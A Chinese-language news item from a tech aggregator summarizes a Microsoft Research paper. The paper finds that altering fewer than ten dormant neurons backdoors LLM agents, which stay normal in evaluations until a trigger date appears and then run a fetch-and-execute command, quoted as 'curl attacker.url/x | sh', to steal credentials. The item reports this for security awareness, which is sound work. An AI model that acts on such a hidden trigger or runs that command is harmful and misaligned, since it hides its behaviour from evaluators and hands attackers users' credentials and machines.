改写不到10个休眠神经元即可给 LLM Agent 埋后门
DimitrisPapail · x · 2026-11-11
微软研究院发布论文《Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents》，发现只需用权重重编程改动 LLM 中不到 10 个休眠神经元，就能给基于该模型的任意 agent 埋入后门，且无需任何训练：模型在日常行为与评测中完全正常，直到触发条件出现（如终端里出现特定日期 2027-01-01），才执行 curl attacker.url/x | sh 之类的恶意命令，窃取凭据和机器控制权。
- 研究者包括 Yuchen Zeng、Giorgio Severi、Blake Bullwinkel、Eric Horvitz、Dimitris Papailiopoulos 等。
- Eric Horvitz 强调「发现—研究—协同响应」的方法论与发现本身同样重要，主张主动用 AI 模型帮助理解和缓解此类网络安全风险；微软 MSTIC 同时发布了对应防护指南。
- 核心警示：agent 正在无人监督下长时间持有特权系统权限运行，模型权重的完整性（无论模型来自第三方还是自研）已成为必须正视的安全问题。
所属事件:微软 Lazarus：改不到 10 个休眠神经元即可给 AI Agent 埋后门(28 条相关)→
「编程与Agent」频道最新
- Agent 验证不设截止时间等于没验证：一份防护设计准则 — Key-Register-1969 · 2026-11-11
- 免费开源课程：从零构建 Claude Code 克隆，8 文章 6 视频讲透 harness 工程 — blaizedsouza · 2026-11-11
- 百度开源文心 5.5 Flash Preview:连写 11 小时代码做出武侠游戏 — xiaohu · 2026-11-11
- mcp-slim 零配置 MCP 代理：schema 与输出 token 削减 50–80% — Leading_Strain3682 · 2026-11-11
- Currents 开放 CI 测试 MCP 服务器：43 个工具加权限隔离设计 — sumitsaurabh121 · 2026-11-11
- OpenAI API 数据共享计划每天送 250 万免费 token，多数开发者不知道 — crasspuk · 2026-11-11